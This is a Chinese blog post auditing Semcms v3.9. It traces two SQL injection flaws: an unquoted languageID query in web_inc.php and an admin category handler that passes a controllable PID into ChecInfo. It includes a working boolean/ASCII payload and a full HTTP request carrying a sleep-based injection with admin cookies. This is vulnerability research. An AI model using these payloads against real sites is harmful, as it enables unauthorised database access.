Semcms_v3.9代码审计

Semcms_v3.9代码审计

代码审计 #CMS

0x01

先看index.php中包含什么文件

image-20220506100531370

进入到web_inc.php

image-20220506100558170

进入contor.php

image-20220506100630359

这里是进行了个黑名单处理,且只过滤了GET请求,也可以绕过。

0x02 前台界面语言配置SQL注入

web_inc.php:

if (isset($_POST["languageID"]))
{
    $Language=test_input(verify_str($_POST["languageID"]));
}
else
{
    $Language=verify_str($Language);
}

if(!empty($Language)){

      //网站SEO设定

      $query=$db_conn->query("select * from sc_tagandseo where languageID=$Language");

先判断post请求中是否有languageID,有就进行黑名单过滤,然后对$Language=$languageID进行赋值,然后判断是否为空,不空则进入if语句,就是出现漏洞的地方,这里没有进行单引号保护。

复现

image-20220506101701777

显示正常,构造Payload1 and ascii(substr(database(),1,1))^109

image-20220506102037372

页面有变化,也就是数据库的ascii为109

0x02 后台SQL注入

Contorl.php:

  
function ChecInfo($biao,$ziduan,$str,$fl,$id,$db_conn){

              if ($fl=="f") {

                  $queryc=$db_conn->query("SELECT * FROM $biao WHERE $ziduan=".$str);

                  }else{

                   $queryc=$db_conn->query("SELECT * FROM $biao WHERE $ziduan='$str'");

                  }

                  $rowc=mysqli_fetch_assoc($queryc);
                  $str=$rowc[$id];
                  return $str;

       }

没有校验规则,需要满足$fl==f,在$biao,$ziduan,$str中找一个可控的地方。

全局检索一下:

image-20220506103911724

为什么找这个地方,因为这个地方的$PID是可控的,对应的上面的$ziduan

然后往上面找,满足注入的条件是哪些

image-20220506104349370

image-20220506104444426

image-20220506104212714

image-20220506104653130

image-20220506104602325

image-20220506105143847

总结一下:

  • 如果调用的话首先满足$category_name不为空
  • 其次满足$Class=add
  • CF==category
  • 除去CF,Class都为POST传参数。
  • test_input()首先替换了%,然后去字符串首尾空格,解转义,实体编码。过滤XSS的。

然后看看谁调用了这个文件

image-20220506105257164

继续找,没有我们需要的变量。

image-20220506105739975

找到这个后台主页面,传参试试。

构造参数:

POST /0y4d1c_Admin/SEMCMS_Main.php?CF=category&Class=add HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: scusername=%E6%80%BB%E8%B4%A6%E5%8F%B7; scuseradmin=Admin; scuserpass=e10adc3949ba59abbe56e057f20f883e; PHPSESSID=p3qq7jckl775qq9c4tf4p2rsm6
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

category_name=aaa&PID=1 and sleep(5)

image-20220506110047408

posted @ 2023-10-19 17:00  4eg1s  阅读(54)  评论(0)    收藏  举报